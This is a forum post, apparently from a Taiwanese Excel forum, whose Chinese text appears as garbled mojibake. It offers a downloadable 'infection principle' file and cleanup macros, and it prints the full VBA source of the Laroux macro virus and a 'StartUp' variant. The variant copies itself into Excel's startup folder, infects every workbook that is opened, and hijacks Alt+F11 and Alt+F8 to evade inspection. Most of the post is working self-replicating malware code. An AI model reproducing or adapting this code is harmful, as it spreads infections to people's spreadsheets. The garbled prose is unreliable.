²©öªºEXCEL§»·P¬V­ì²zÀÉ®×

HUNGCHILIN

³o­Ó¬O¤@­Ó²©öªº·P¬V­ì²zÀÉ®×
¤£¬O¤°»ò°ª§Þ¥©¡A¶È´£¨Ñ¤@­Ó«äºû»P¸Ñ¬r·Qªk
¤£¼ô±xEXCELªº¤H½Ð¤Å¤U¸ü

¤U¦C³o«h¬OÀɤ¤ÀÉ«¬·P¬V¡A¤@¶}±Ò¦³¶}§»´N·|·P¬V¡A¥B·P¬V¨â³B¦ì¸m
¨â³B¥i¥H¤¬¬Û¤ä´© ´N¬O§R°£¨â³B¤§¥t¤@³B·|½Æ»s·s·P¬V¹L¨Ó¡A³oÃ䬰ÁקK¹L©ó½ÆÂø
¥u¥Î³æÃä¤ä´©´N¬O¤@³B³Q§R·|¤ä´©½Æ»s·s·P¬V¹L¨Ó¡A¥t¤@³B³Q§R¤£·|¤ä´©½Æ»s·s·P¬V¹L¨Ó

¬O­Ó¦nª±ªºÀÉ

a.rar (12.74 KB)

¤U¸ü¦¸¼Æ: 3

2012-2-23 20:37

µLªk¸Ñ°£ªÌ
½Ð¹B¦æ¤U¦C¡A¨â­Óµ{§Ç¡AÃö³¬excel«á¡A§R°£run¥Xªº¨â­Ó¸ê®Æ§¨¤ºªº©Ò¦³ÀɮסA§Y¥i

Sub ApplicationStartupPathA()
'Microsoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.Path & "\XLSTART\"  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub

Sub StartupPathA()
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub


startup¬OLaroux ªºÅܺطP¬Vµ{¦¡
Laroux ¥¨¶°¯f¬r¨ä©µ¦ùÅܺدf¬r¬°¦³³\¦h¨ä¤¤¸ûµÛ¦Wªº¦³:
1.BINV.XLS
2.StartUp
3.RESULTS
µ¥¦hºØ

¯f¬r¦WºÙ¡GX97M_Laroux.A ¡A§O¦W¡GLaroux, Laroux.A, XM_Laroux ¡C¯f¬r¯SÂI¡Garoux¬O²Ä¤@­Ó¬°MS Excel½s¼gªº¥¨¶°¯f¬r¡C·í³Q¸Ó¯f¬r·P¬Vªº¤åÀÉ¥´¶}®É¡A§»Check_ files³Q³ê¿ô¡A¨Ã¥BPERSONAL.XLS³Q·P¬V¡C¨ä¥LÀɤ]·|¦b¬¡°Ê®É³Q·P¬V¡AÀÉÄݩʳ¡¤Àªº¼ÐÃD¡B¥DÃD¡B§@ªÌ¡BÃöÁä¦r©M¤º®e³Q¯f¬r²M°£¡C¸Ó¯f¬r¤£¬O¯}Ãa©Êªº¡A¥¦ªº§»¤]¤£¹ï¥Î¤áÁôÂáA¥i¥H¥ÎExcelªº¤u¨ã--¥¨¶°¿ï¶µ§ä¨ì¥¦¡C °£¤F½Æ»s¡A¸Ó¯f¬rµL­«¤j·N¸q¡C¥¦·P¬VExcel¤u§@ªí¡A³Ð«Ø¤@­Ó¦W¬°PersonalªºÁôÂäu§@ªí¡A³Q·P¬VªºÀÉ¥]§t¼Ò²Õlaroux¡A³Q·P¬Vªº¤u§@ªí¥]§t§»¡§auto_open¡¨©M¡§check_files¡¨.
¡@¡@¸Ó¯f¬r·|¦w¸Ë¤@­Ó³Q·P¬V¤åÀɨìÀɧ¨XLSTART¡A¥ô¦ó¦bÀɧ¨XLSTART¤¤ªºExcel¤åÀɦb±Ò°ÊExcel®É³Q¸Ë¸ü¯f¬r
¡C ¦pªGXLSTART¸ô®|¤U¤w¦s¦b¦W¬°PERSONAL.XLSªºÀÉ¡A¯f¬r´N¤£·|¹ï¨t²Î¶i¦æ·P¬V¡C

Laroux¯f¬r­ì«¬½X:

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub
----------------------------------------------------------------------------------------------------------------------------
Startup¯f¬r½X:

Startup¼Ò²Õ¤¤
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub
Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

----------------------------------------------------------------------------------------------------------------------------
µ²½×
³o´X­Ó·P¬Vµ{§Ç¥Î¨ì¤U¦C3­Ó­«ÂI
1.Application.StartupPath  '¨p¥Î±Ò°Ê¦ì¸m
2.Application.OnSheetActivate = ""   'ª©vba OnSheetActivateÄÝ©Ê
3.ThisWorkbook.Sheets("StartUp").Copy '¤@¯ësheet copy¥Îªk

¤W­zµ{¦¡½X¬O¶}©ñªº¡A¦ý«Ü¦h¤H¬Ý§¹ÁÙ¬O°µ¤£¥X¨Ó¦p¦ó·P¬V.´Nºâ§A¬Ý§¹µ{¦¡
³Ì­«­nªº¬O²Ä3ÂI¤£À´¡A¬O¤°»ò¤]°µ¤£¥X¨Ó¡C

Ãö©ó²Ä3ÂI­ì²z§@ªk»¡©ú:
http://forum.twbts.com/thread-5794-1-1.html
http://forum.twbts.com/thread-51-1-1.html

ÁöµM·L³n«áÄò¨¾¤î¤F«Ü¦h¦ì§}¤£¯à¹B¦æ§»¡A¦ý§Ú¤£»{¬° ÀÉ®×Àx¦s¦ì¸m¬O³Ì­«­nªº ÁÙ¬O¦³«Ü¦h¿ìªk¥i¥H¹B§@